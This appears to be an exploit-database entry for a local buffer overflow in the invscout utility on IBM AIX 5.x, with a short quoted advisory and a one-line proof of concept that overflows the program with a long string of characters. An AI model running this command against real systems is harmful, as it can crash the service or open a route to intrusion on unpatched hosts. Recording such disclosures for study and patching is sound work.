IBM AIX 5.x - 'Invscout' Local Buffer Overflow

Author: Computer Academic Underground
type: dos
platform: aix
port: 0
date_added: 2005-06-09
date_updated: 2013-05-29
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source: https://www.securityfocus.com/bid/13909/info

invscout is prone to a local buffer overflow vulnerability. This issue presents itself because the application fails to carry out boundary checks on user-supplied data from the command line.

/usr/sbin/invscout `perl -e 'print "A" x 1024;'`